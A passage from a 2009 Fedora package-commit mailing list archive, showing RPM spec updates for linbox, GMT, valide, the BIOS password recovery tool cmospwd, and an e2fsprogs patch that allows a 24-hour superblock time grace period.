%defattr(-,root,root,-)
%doc doc/linbox-html/*


%files devel
%defattr(-,root,root,-)
%{_includedir}/%{name}
%{_libdir}/*.so
%{_bindir}/%{name}-config
%{_mandir}/man1/%{name}-config.1*


%changelog
* Mon Oct 19 2009 Thomas Spura <tomspur at fedoraproject.org> - 1.1.6-6
- installing docs breaks naming guidelines -> install them different

* Sun Oct 18 2009 Thomas Spura <tomspur at fedoraproject.org> - 1.1.6-5
- properly install docs and don't mv them around
- add other files to %%doc

* Sun Oct 18 2009 Thomas Spura <tomspur at fedoraproject.org> - 1.1.6-4
- %%check
- patch for --cflags and --lflags in config

* Sat Oct 17 2009 Thomas Spura <tomspur at fedoraproject.org> - 1.1.6-3
- patches are send upstream
- correct BuildRequires
- INSTALL is not in %%doc

* Sat Oct 17 2009 Thomas Spura <tomspur at fedoraproject.org> - 1.1.6-2
- disable static library
- patch for double named header files
- extra doc package

* Fri Dec 12 2008 Conrad Meyer <konrad at tylerc.org> - 1.1.6-1
- Initial package.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/linbox/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 15:56:04 -0000	1.1
+++ sources	19 Oct 2009 17:33:16 -0000	1.2
@@ -0,0 +1 @@
+66288b0acfff70e81472b9cea225a3af  linbox-1.1.6.tar.gz



From orion at fedoraproject.org  Mon Oct 19 17:37:43 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Mon, 19 Oct 2009 17:37:43 +0000 (UTC)
Subject: rpms/GMT/F-12 .cvsignore, 1.5, 1.6 GMT.spec, 1.11, 1.12 sources, 1.5,
	1.6
Message-ID: <20091019173743.195B311C00DC@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/GMT/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19904

Modified Files:
	.cvsignore GMT.spec sources 
Log Message:
* Mon Oct 19 2009 Orion Poplawski <orion at cora.nwra.com> 4.5.1-1
- Update to 4.5.1
- Enable gdal support



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/GMT/F-12/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	17 Jul 2009 18:22:36 -0000	1.5
+++ .cvsignore	19 Oct 2009 17:37:42 -0000	1.6
@@ -1,4 +1,4 @@
-GMT4.5.0_doc.tar.bz2
-GMT4.5.0_share.tar.bz2
-GMT4.5.0_src.tar.bz2
-GMT4.5.0_suppl.tar.bz2
+GMT4.5.1_doc.tar.bz2
+GMT4.5.1_share.tar.bz2
+GMT4.5.1_src.tar.bz2
+GMT4.5.1_suppl.tar.bz2


Index: GMT.spec
===================================================================
RCS file: /cvs/pkgs/rpms/GMT/F-12/GMT.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- GMT.spec	1 Aug 2009 05:19:23 -0000	1.11
+++ GMT.spec	19 Oct 2009 17:37:42 -0000	1.12
@@ -7,8 +7,8 @@
 %define octave_octdir %(octave-config -p LOCALAPIOCTFILEDIR || echo)
 
 Name:           GMT
-Version:        4.5.0
-Release:        4%{?dist}
+Version:        4.5.1
+Release:        1%{?dist}
 Summary:        Generic Mapping Tools
 
 Group:          Applications/Engineering
@@ -20,6 +20,7 @@ Source2:        ftp://ftp.soest.hawaii.e
 Source3:        ftp://ftp.soest.hawaii.edu/gmt/GMT%{version}_doc.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+BuildRequires:  gdal-devel
 BuildRequires:  libXt-devel libXaw-devel libXmu-devel libXext-devel
 BuildRequires:  netcdf-devel
 BuildRequires:  GMT-coastlines
@@ -129,6 +130,7 @@ export CSH=sh
 export CFLAGS="$RPM_OPT_FLAGS -fPIC -I%{_includedir}/netcdf"
 %configure --datadir=%{gmthome} \
            --enable-debug \
+           --enable-gdal GDAL_INC=%{_includedir}/gdal \
            --enable-shared \
            --enable-octave --enable-mex-mdir=%{octave_mdir} \
            --enable-mex-xdir=%{octave_octdir} \
@@ -188,14 +190,14 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc README COPYING ChangeLog
+%doc README LICENSE.TXT ChangeLog
 %{_bindir}/*
 %exclude %{_bindir}/xgridedit
 %{_libdir}/*.so.*
 
 %files common
 %defattr(-,root,root,-)
-%doc README __package_docs/* COPYING ChangeLog gmt_bench-marks
+%doc README __package_docs/* LICENSE.TXT ChangeLog gmt_bench-marks
 %dir %{gmtconf}
 %dir %{gmtconf}/mgg
 %dir %{gmtconf}/dbase
@@ -235,6 +237,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 19 2009 Orion Poplawski <orion at cora.nwra.com> 4.5.1-1
+- Update to 4.5.1
+- Enable gdal support
+
 * Fri Jul 31 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 4.5.0-4
 - Rebuild against Octave 3.2.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/GMT/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	17 Jul 2009 18:22:36 -0000	1.5
+++ sources	19 Oct 2009 17:37:42 -0000	1.6
@@ -1,4 +1,4 @@
-3185bda3a8245d58cadebe77ce8b6062  GMT4.5.0_doc.tar.bz2
-773a1e290e127e8de365ef33366d4247  GMT4.5.0_share.tar.bz2
-d24e5aad2f6461302ecfef94934f56c0  GMT4.5.0_src.tar.bz2
-b04baf4fc08a46ceeda4c0a5ae7dc8d7  GMT4.5.0_suppl.tar.bz2
+124b2206be03e0d4d8c2bed582a30187  GMT4.5.1_doc.tar.bz2
+1380a82348b9fdd0c32474787a90a95f  GMT4.5.1_share.tar.bz2
+a0e7b410e8470d6c47bd56830fd1158f  GMT4.5.1_src.tar.bz2
+c771a72a7eed44678134ae0b51edd606  GMT4.5.1_suppl.tar.bz2



From bioinfornatics at fedoraproject.org  Mon Oct 19 17:44:52 2009
From: bioinfornatics at fedoraproject.org (MERCIER Jonathan)
Date: Mon, 19 Oct 2009 17:44:52 +0000 (UTC)
Subject: rpms/valide/F-11 valide.spec,1.8,1.9
Message-ID: <20091019174452.0EECA11C00DC@cvs1.fedora.phx.redhat.com>

Author: bioinfornatics

Update of /cvs/pkgs/rpms/valide/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21760

Modified Files:
	valide.spec 
Log Message:
Update Valaide to the newest release


Index: valide.spec
===================================================================
RCS file: /cvs/pkgs/rpms/valide/F-11/valide.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- valide.spec	19 Oct 2009 17:05:39 -0000	1.8
+++ valide.spec	19 Oct 2009 17:44:51 -0000	1.9
@@ -3,14 +3,14 @@
 %global	gtk2_version		2.11.0
 %global	vala_version		0.7.3
 
-# The source for this package was pulled from upstream's vcs.  Use the
+# The source for this package was pulled from upstream's cvs.  Use the
 # following commands to generate the tarball:
 # svn export -r 425 http://valide.googlecode.com/svn/trunk/ valide-20091019svn425
 # tar -czvf valide-20091019svn425.tar.gz valide-20091019svn425
 
 Name:			valide
 Version:		0.5.1
-Release:		0.19.%{alphatag}%{svn_revision}%{?dist}
+Release:		0.20.%{alphatag}%{svn_revision}%{?dist}
 Summary:		An integrated development environment (IDE) for the Vala programming language
 
 Group:			Development/Tools
@@ -120,6 +120,9 @@ fi
 %{_libdir}/libvalide-*.so
 
 %changelog
+* Mon Oct 19 2009 Jonathan MERCIER <bioinfornatics at gmail.com> 0.5.1-0.20.20091019svn425
+- Bug fix
+
 * Mon Oct 19 2009 Jonathan MERCIER <bioinfornatics at gmail.com> 0.5.1-0.19.20091019svn425
 - Bug fix
 



From atorkhov at fedoraproject.org  Mon Oct 19 17:47:55 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Mon, 19 Oct 2009 17:47:55 +0000 (UTC)
Subject: rpms/cmospwd/devel cmospwd.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091019174755.5F1BA11C00DC@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/cmospwd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22234

Modified Files:
	.cvsignore sources 
Added Files:
	cmospwd.spec 
Log Message:
* Thu Oct 15 2009 Alexey Torkhov <atorkhov at gmail.com> - 5.0-1
- Initial packaging



--- NEW FILE cmospwd.spec ---
Name:           cmospwd
Version:        5.0
Release:        1%{?dist}
Summary:        BIOS password cracker utility

Group:          System Environment/Base
License:        GPLv2+
URL:            http://www.cgsecurity.org/wiki/CmosPwd
Source0:        http://www.cgsecurity.org/%{name}-%{version}.tar.bz2
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

# Fails to build on other arches and not useful there either, I think
ExclusiveArch:  %{ix86} x86_64

BuildRequires:  dos2unix

%description
CmosPwd decrypts password stored in cmos used to access BIOS SETUP.
Works with the following BIOSes

    * ACER/IBM BIOS
    * AMI BIOS
    * AMI WinBIOS 2.5
    * Award 4.5x/4.6x/6.0
    * Compaq (1992)
    * Compaq (New version)
    * IBM (PS/2, Activa, Thinkpad)
    * Packard Bell
    * Phoenix 1.00.09.AC0 (1994), a486 1.03, 1.04, 1.10 A03, 4.05 rev 1.02.943,
      4.06 rev 1.13.1107
    * Phoenix 4 release 6 (User)
    * Gateway Solo - Phoenix 4.0 release 6
    * Toshiba
    * Zenith AMI

With CmosPwd, you can also backup, restore and erase/kill cmos.


%prep
%setup -q

rm src/%{name}

dos2unix %{name}.txt
iconv -f iso-8859-1 -t utf-8 %{name}.txt > %{name}.new
touch -r %{name}.txt %{name}.new
mv %{name}.new %{name}.txt


%build
cd src
make CFLAGS="%{optflags}" %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
install -D -m 755 src/%{name} $RPM_BUILD_ROOT%{_sbindir}/%{name}


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc COPYING %{name}.txt
%{_sbindir}/%{name}


%changelog
* Thu Oct 15 2009 Alexey Torkhov <atorkhov at gmail.com> - 5.0-1
- Initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cmospwd/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:20:18 -0000	1.1
+++ .cvsignore	19 Oct 2009 17:47:55 -0000	1.2
@@ -0,0 +1 @@
+cmospwd-5.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cmospwd/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:20:18 -0000	1.1
+++ sources	19 Oct 2009 17:47:55 -0000	1.2
@@ -0,0 +1 @@
+24c8caf61ff244dc2aae0ebfde47dd45  cmospwd-5.0.tar.bz2



From sandeen at fedoraproject.org  Mon Oct 19 17:51:25 2009
From: sandeen at fedoraproject.org (Eric Sandeen)
Date: Mon, 19 Oct 2009 17:51:25 +0000 (UTC)
Subject: rpms/e2fsprogs/devel e2fsprogs-1.41.9-24hr-fsck-grace.patch, NONE, 
	1.1 e2fsprogs.spec, 1.152, 1.153
Message-ID: <20091019175125.51EA911C00DC@cvs1.fedora.phx.redhat.com>

Author: sandeen

Update of /cvs/pkgs/rpms/e2fsprogs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22942

Modified Files:
	e2fsprogs.spec 
Added Files:
	e2fsprogs-1.41.9-24hr-fsck-grace.patch 
Log Message:
* Mon Oct 19 2009 Eric Sandeen <sandeen at redhat.com> 1.41.9-5
- Allow superblock timestamp differences up to 24h (#522969)


e2fsprogs-1.41.9-24hr-fsck-grace.patch:
 b/debian/rules            |    6 ------
 b/e2fsck/e2fsck.conf.5.in |   36 ++++++++++++++++++++++--------------
 b/e2fsck/problem.c        |    4 ++--
 b/e2fsck/super.c          |   43 ++++++++++++++++++++++++-------------------
 e2fsck/e2fsck.conf.ubuntu |    2 --
 5 files changed, 48 insertions(+), 43 deletions(-)

--- NEW FILE e2fsprogs-1.41.9-24hr-fsck-grace.patch ---
>From ba5131f6d48eded504e84c2a8ffc8131df8a512e Mon Sep 17 00:00:00 2001
From: Theodore Ts'o <tytso at mit.edu>
Date: Fri, 16 Oct 2009 20:46:45 -0400
Subject: [PATCH] e2fsck: Accept superblock times to be fudged by up to 24 hours by default

Unfortunately, due to Windows' unfortunate design decision to
configure the hardware clock to tick localtime, instead of the more
proper and less error-prone UTC time, many users end up in the
situation where the system clock is incorrectly set at the time when
e2fsck is run.

Historically this was usually due to some distributions having buggy
init scripts and/or installers that didn't correctly detect this case
and take appropriate countermeasures.  However, it's still possible,
despite the best efforts of init script and installer authors to not
be able to detect this misconfiguration, usually due to a buggy or
misconfigured virtualization manager or the installer not having
access to a network time server during the installation process.  So
by default, we allow the superblock times to be fudged by up to 24
hours.  This can be disabled by setting options.accept_time_fudge to
the boolean value of false in e2fsck.conf.  The old
options.buggy_init_scripts is left for backwards compatibility.

Since we are now accepting the 24 hour time fudge by default, there is
no longer a need to install an Ubuntu-specific e2fsck.conf file, so we
can remove it.

Signed-off-by: "Theodore Ts'o" <tytso at mit.edu>
---
 debian/rules              |    6 ------
 e2fsck/e2fsck.conf.5.in   |   36 ++++++++++++++++++++++--------------
 e2fsck/e2fsck.conf.ubuntu |    2 --
 e2fsck/problem.c          |    4 ++--
 e2fsck/super.c            |   42 ++++++++++++++++++++++++------------------
 5 files changed, 48 insertions(+), 42 deletions(-)
 delete mode 100644 e2fsck/e2fsck.conf.ubuntu

diff --git a/debian/rules b/debian/rules
index f62e86f..f658bd1 100755
--- a/debian/rules
+++ b/debian/rules
@@ -445,12 +445,6 @@ endif
 	$(INSTALL) -p -m 0644 debugfs/debug_cmds.ct \
 		${debdir}/ss-dev/usr/share/doc/libss${SS_SOVERSION}/examples
 
-	if test -f /etc/lsb-release && \
-		grep -q DISTRIB_ID=Ubuntu /etc/lsb-release; then \
-	$(INSTALL) -p -m 0644 e2fsck/e2fsck.conf.ubuntu \
-		${debdir}/e2fsprogs/etc/e2fsck.conf; \
-	fi
-
 	dh_installinfo -pcomerr-dev ${stdbuilddir}/lib/et/com_err.info
 	dh_installinfo -pe2fslibs-dev ${stdbuilddir}/doc/libext2fs.info
 
diff --git a/e2fsck/e2fsck.conf.5.in b/e2fsck/e2fsck.conf.5.in
index 6638a39..a5021bd 100644
--- a/e2fsck/e2fsck.conf.5.in
+++ b/e2fsck/e2fsck.conf.5.in
@@ -87,19 +87,27 @@ interrupts e2fsck using ^C, and the filesystem is not explicitly flagged
 as containing errors, e2fsck will exit with an exit status of 0 instead
 of 32.  This setting defaults to false.
 .TP
-.I buggy_init_scripts
-Some buggy distributions (such as Ubuntu) have init scripts and/or
-installers which fail to correctly set the system clock before running
-e2fsck and/or formatting the filesystem initially.  Normally this
-happens because the hardware clock is ticking localtime, instead of the
-more proper and less error-prone UTC time.  So while the kernel is
-booting, the system time (which in Linux systems always ticks in UTC
-time) is set from the hardware clock, but since the hardware clock is
-ticking localtime, the system time is incorrect.  Unfortunately, some
-buggy distributions do not correct this before running e2fsck.  If this
-option is set to a boolean value of true, we attempt to work around this
-situation by allowing the superblock last write time, last mount time,
-and last check time to be in the future by up to 24 hours.
+.I accept_time_fudge
+Unfortunately, due to Windows' unfortunate design decision
+to configure the hardware clock to tick localtime, instead
+of the more proper and less error-prone UTC time, many
+users end up in the situation where the system clock is
+incorrectly set at the time when e2fsck is run.
+.IP
+Historically this was usually due to some distributions
+having buggy init scripts and/or installers that didn't
+correctly detect this case and take appropriate
+countermeasures.  However, it's still possible, despite the
+best efforts of init script and installer authors to not be
+able to detect this misconfiguration, usually due to a
+buggy or misconfigured virtualization manager or the
+installer not having access to a network time server
+during the installation process.  So by default, we allow
+the superblock times to be fudged by up to 24 hours.
+This can be disabled by setting
+.I accept_time_fudge
+to the
+boolean value of false.  This setting defaults to true.
 .TP
 .I clear_test_fs_flag
 This boolean relation controls whether or not 
@@ -111,7 +119,7 @@ defaults to true.
 .I defer_check_on_battery
 This boolean relation controls whether or not the interval between 
 filesystem checks (either based on time or number of mounts) should 
-be doubled if the system is running on battery.  It defaults to 
+be doubled if the system is running on battery.  This setting defaults to 
 true.
 .TP
 .I indexed_dir_slack_percentage
diff --git a/e2fsck/e2fsck.conf.ubuntu b/e2fsck/e2fsck.conf.ubuntu
deleted file mode 100644
index 49d6d19..0000000
--- a/e2fsck/e2fsck.conf.ubuntu
+++ /dev/null
@@ -1,2 +0,0 @@
-[options]
-	buggy_init_scripts = 1
diff --git a/e2fsck/problem.c b/e2fsck/problem.c
index 540ac91..a713f1b 100644
--- a/e2fsck/problem.c
+++ b/e2fsck/problem.c
@@ -388,13 +388,13 @@ static struct e2fsck_problem problem_table[] = {
 	/* Last mount time is in the future (fudged) */
 	{ PR_0_FUTURE_SB_LAST_MOUNT_FUDGED,
 	  N_("@S last mount time is in the future.\n\t(by less than a day, "
-	     "probably due to buggy init scripts)  "),
+	     "probably due to the hardware clock being incorrectly set)  "),
 	  PROMPT_FIX, PR_PREEN_OK | PR_NO_OK },
 
 	/* Last write time is in the future (fudged) */
 	{ PR_0_FUTURE_SB_LAST_WRITE_FUDGED,
 	  N_("@S last write time is in the future.\n\t(by less than a day, "
-	     "probably due to buggy init scripts).  "),
+	     "probably due to the hardware clock being incorrectly set).  "),
 	  PROMPT_FIX, PR_PREEN_OK | PR_NO_OK },
 
 	/* Block group checksum (latch question) is invalid. */
diff --git a/e2fsck/super.c b/e2fsck/super.c
index c946664..951f6db 100644
--- a/e2fsck/super.c
+++ b/e2fsck/super.c
@@ -463,7 +463,7 @@ void check_super_block(e2fsck_t ctx)
 	int	inodes_per_block;
 	int	ipg_max;
 	int	inode_size;
-	int	buggy_init_scripts;
+	int	accept_time_fudge;
 	dgrp_t	i;
 	blk_t	should_be;
 	struct problem_context	pctx;
@@ -795,25 +795,31 @@ void check_super_block(e2fsck_t ctx)
 	}
 
 	/*
-	 * Some buggy distributions (such as Ubuntu) have init scripts
-	 * and/or installers which fail to correctly set the system
-	 * clock before running e2fsck and/or formatting the
-	 * filesystem initially.  Normally this happens because the
-	 * hardware clock is ticking localtime, instead of the more
-	 * proper and less error-prone UTC time.  So while the kernel
-	 * is booting, the system time (which in Linux systems always
-	 * ticks in UTC time) is set from the hardware clock, but
-	 * since the hardware clock is ticking localtime, the system
-	 * time is incorrect.  Unfortunately, some buggy distributions
-	 * do not correct this before running e2fsck.  If this option
-	 * is set to a boolean value of true, we attempt to work
-	 * around this situation by allowing the superblock last write
-	 * time, last mount time, and last check time to be in the
-	 * future by up to 24 hours.
+	 * Unfortunately, due to Windows' unfortunate design decision
+	 * to configure the hardware clock to tick localtime, instead
+	 * of the more proper and less error-prone UTC time, many
+	 * users end up in the situation where the system clock is
+	 * incorrectly set at the time when e2fsck is run.
+	 *
+	 * Historically this was usually due to some distributions
+	 * having buggy init scripts and/or installers that didn't
+	 * correctly detect this case and take appropriate
+	 * countermeasures.  However, it's still possible, despite the
+	 * best efforts of init script and installer authors to not be
+	 * able to detect this misconfiguration, usually due to a
+	 * buggy or misconfigured virtualization manager or the
+	 * installer not having access to a network time server during
+	 * the installation process.  So by default, we allow the
+	 * superblock times to be fudged by up to 24 hours.  This can
+	 * be disabled by setting options.accept_time_fudge to the
+	 * boolean value of false in e2fsck.conf.  We also support
+	 * options.buggy_init_scripts for backwards compatibility.
 	 */
+	profile_get_boolean(ctx->profile, "options", "accept_time_fudge",
+			    0, 1, &accept_time_fudge);
 	profile_get_boolean(ctx->profile, "options", "buggy_init_scripts",
-			    0, 0, &buggy_init_scripts);
-	ctx->time_fudge = buggy_init_scripts ? 86400 : 0;
+			    0, accept_time_fudge, &accept_time_fudge);
+	ctx->time_fudge = accept_time_fudge ? 86400 : 0;
 
 	/*
 	 * Check to see if the superblock last mount time or last
-- 1.6.5.104.g2567b.dirty


Index: e2fsprogs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/e2fsprogs/devel/e2fsprogs.spec,v
retrieving revision 1.152
retrieving revision 1.153
diff -u -p -r1.152 -r1.153
--- e2fsprogs.spec	6 Oct 2009 14:49:36 -0000	1.152
+++ e2fsprogs.spec	19 Oct 2009 17:51:25 -0000	1.153
@@ -4,7 +4,7 @@
 Summary: Utilities for managing ext2, ext3, and ext4 filesystems
 Name: e2fsprogs
 Version: 1.41.9
-Release: 4%{?dist}
+Release: 5%{?dist}
 
 # License tags based on COPYING file distinctions for various components
 License: GPLv2
@@ -14,6 +14,7 @@ Source1: ext2_types-wrapper.h
 
 Patch2: e2fsprogs-1.40.4-sb_feature_check_ignore.patch
 Patch4: e2fsprogs-resize-minimum-fix.patch
+Patch5: e2fsprogs-1.41.9-24hr-fsck-grace.patch
 
 Url: http://e2fsprogs.sourceforge.net/
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -140,6 +141,7 @@ It was originally inspired by the Multic
 # after an selinux install...
 %patch2 -p1 -b .featurecheck
 %patch4 -p1 -b .resize
+%patch5 -p1 -b .24h
 
 %build
 %configure --enable-elf-shlibs --enable-nls --disable-uuidd --disable-fsck \
@@ -300,8 +302,11 @@ exit 0
 %{_libdir}/pkgconfig/ss.pc
 
 %changelog
-* Thu Oct 06 2009 Eric Sandeen <sandeen at redhat.com> 1.41.9-4
-- Fix install with --excludedocs (#515997)
+* Mon Oct 19 2009 Eric Sandeen <sandeen at redhat.com> 1.41.9-5
+- Allow superblock timestamp differences up to 24h (#522969)
+
+* Tue Oct 06 2009 Eric Sandeen <sandeen at redhat.com> 1.41.9-4
+- Fix install with --excludedocs (#515987)
 
 * Thu Sep 14 2009 Eric Sandeen <sandeen at redhat.com> 1.41.9-3
 - Drop defrag bits for now, not ready yet.



From atorkhov at fedoraproject.org  Mon Oct 19 17:56:40 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Mon, 19 Oct 2009 17:56:40 +0000 (UTC)
Subject: rpms/cmospwd/F-12 cmospwd.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091019175640.0B44B11C00DC@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/cmospwd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24011

Modified Files:
	.cvsignore sources 
Added Files:
	cmospwd.spec 
Log Message:
* Thu Oct 15 2009 Alexey Torkhov <atorkhov at gmail.com> - 5.0-1
- Initial packaging



--- NEW FILE cmospwd.spec ---
Name:           cmospwd
Version:        5.0
Release:        1%{?dist}
Summary:        BIOS password cracker utility

Group:          System Environment/Base
License:        GPLv2+
URL:            http://www.cgsecurity.org/wiki/CmosPwd
Source0:        http://www.cgsecurity.org/%{name}-%{version}.tar.bz2
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

# Fails to build on other arches and not useful there either, I think
ExclusiveArch:  %{ix86} x86_64

BuildRequires:  dos2unix

%description
CmosPwd decrypts password stored in cmos used to access BIOS SETUP.
Works with the following BIOSes

    * ACER/IBM BIOS
    * AMI BIOS
    * AMI WinBIOS 2.5
    * Award 4.5x/4.6x/6.0
    * Compaq (1992)
    * Compaq (New version)
    * IBM (PS/2, Activa, Thinkpad)
    * Packard Bell
    * Phoenix 1.00.09.AC0 (1994), a486 1.03, 1.04, 1.10 A03, 4.05 rev 1.02.943,
      4.06 rev 1.13.1107
    * Phoenix 4 release 6 (User)
    * Gateway Solo - Phoenix 4.0 release 6
    * Toshiba
    * Zenith AMI

With CmosPwd, you can also backup, restore and erase/kill cmos.


%prep
%setup -q

rm src/%{name}

dos2unix %{name}.txt
iconv -f iso-8859-1 -t utf-8 %{name}.txt > %{name}.new
touch -r %{name}.txt %{name}.new
mv %{name}.new %{name}.txt


%build
cd src
make CFLAGS="%{optflags}" %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
install -D -m 755 src/%{name} $RPM_BUILD_ROOT%{_sbindir}/%{name}


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc COPYING %{name}.txt
%{_sbindir}/%{name}


%changelog
* Thu Oct 15 2009 Alexey Torkhov <atorkhov at gmail.com> - 5.0-1
- Initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cmospwd/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:20:18 -0000	1.1
+++ .cvsignore	19 Oct 2009 17:56:39 -0000	1.2
@@ -0,0 +1 @@
+cmospwd-5.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cmospwd/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:20:18 -0000	1.1
+++ sources	19 Oct 2009 17:56:39 -0000	1.2
@@ -0,0 +1 @@
+24c8caf61ff244dc2aae0ebfde47dd45  cmospwd-5.0.tar.bz2



From bioinfornatics at fedoraproject.org  Mon Oct 19 17:56:41 2009
From: bioinfornatics at fedoraproject.org (MERCIER Jonathan)
Date: Mon, 19 Oct 2009 17:56:41 +0000 (UTC)
Subject: rpms/valide/F-10 valide.spec,1.5,1.6
Message-ID: <20091019175641.B180211C00DC@cvs1.fedora.phx.redhat.com>

Author: bioinfornatics

Update of /cvs/pkgs/rpms/valide/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24032

Modified Files:
	valide.spec 
Log Message:
Update Valaide to the newest release


Index: valide.spec
===================================================================
RCS file: /cvs/pkgs/rpms/valide/F-10/valide.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- valide.spec	19 Oct 2009 17:14:42 -0000	1.5
+++ valide.spec	19 Oct 2009 17:56:41 -0000	1.6
@@ -3,14 +3,14 @@
 %global	gtk2_version		2.11.0
 %global	vala_version		0.7.3
 
-# The source for this package was pulled from upstream's vcs.  Use the
+# The source for this package was pulled from upstream's cvs.  Use the
 # following commands to generate the tarball:
 # svn export -r 425 http://valide.googlecode.com/svn/trunk/ valide-20091019svn425
 # tar -czvf valide-20091019svn425.tar.gz valide-20091019svn425
 
 Name:			valide
 Version:		0.5.1
-Release:		0.19.%{alphatag}%{svn_revision}%{?dist}
+Release:		0.20.%{alphatag}%{svn_revision}%{?dist}
 Summary:		An integrated development environment (IDE) for the Vala programming language
 
 Group:			Development/Tools
@@ -120,6 +120,9 @@ fi
 %{_libdir}/libvalide-*.so
 
 %changelog
+* Mon Oct 19 2009 Jonathan MERCIER <bioinfornatics at gmail.com> 0.5.1-0.20.20091019svn425
+- Bug fix
+
 * Mon Oct 19 2009 Jonathan MERCIER <bioinfornatics at gmail.com> 0.5.1-0.19.20091019svn425
 - Bug fix
 



From sandeen at fedoraproject.org  Mon Oct 19 17:58:09 2009
From: sandeen at fedoraproject.org (Eric Sandeen)
Date: Mon, 19 Oct 2009 17:58:09 +0000 (UTC)
Subject: rpms/e2fsprogs/F-12 e2fsprogs-1.41.9-24hr-fsck-grace.patch, NONE,
	1.1 e2fsprogs.spec, 1.151, 1.152
Message-ID: <20091019175809.3D29B11C00DC@cvs1.fedora.phx.redhat.com>

Author: sandeen

Update of /cvs/pkgs/rpms/e2fsprogs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24467

Modified Files:
	e2fsprogs.spec 
Added Files:
	e2fsprogs-1.41.9-24hr-fsck-grace.patch 
Log Message:
* Mon Oct 19 2009 Eric Sandeen <sandeen at redhat.com> 1.41.9-4
- Allow superblock timestamp differences up to 24h (#522969)


e2fsprogs-1.41.9-24hr-fsck-grace.patch:
 b/debian/rules            |    6 ------
 b/e2fsck/e2fsck.conf.5.in |   36 ++++++++++++++++++++++--------------
 b/e2fsck/problem.c        |    4 ++--
 b/e2fsck/super.c          |   43 ++++++++++++++++++++++++-------------------
 e2fsck/e2fsck.conf.ubuntu |    2 --
 5 files changed, 48 insertions(+), 43 deletions(-)

--- NEW FILE e2fsprogs-1.41.9-24hr-fsck-grace.patch ---
>From ba5131f6d48eded504e84c2a8ffc8131df8a512e Mon Sep 17 00:00:00 2001
From: Theodore Ts'o <tytso at mit.edu>
Date: Fri, 16 Oct 2009 20:46:45 -0400
Subject: [PATCH] e2fsck: Accept superblock times to be fudged by up to 24 hours by default

Unfortunately, due to Windows' unfortunate design decision to
configure the hardware clock to tick localtime, instead of the more
proper and less error-prone UTC time, many users end up in the
situation where the system clock is incorrectly set at the time when
e2fsck is run.

Historically this was usually due to some distributions having buggy
init scripts and/or installers that didn't correctly detect this case
and take appropriate countermeasures.  However, it's still possible,
despite the best efforts of init script and installer authors to not
be able to detect this misconfiguration, usually due to a buggy or
misconfigured virtualization manager or the installer not having
access to a network time server during the installation process.  So
by default, we allow the superblock times to be fudged by up to 24
hours.  This can be disabled by setting options.accept_time_fudge to
the boolean value of false in e2fsck.conf.  The old
options.buggy_init_scripts is left for backwards compatibility.

Since we are now accepting the 24 hour time fudge by default, there is
no longer a need to install an Ubuntu-specific e2fsck.conf file, so we
can remove it.

Signed-off-by: "Theodore Ts'o" <tytso at mit.edu>
---
 debian/rules              |    6 ------
 e2fsck/e2fsck.conf.5.in   |   36 ++++++++++++++++++++++--------------
 e2fsck/e2fsck.conf.ubuntu |    2 --
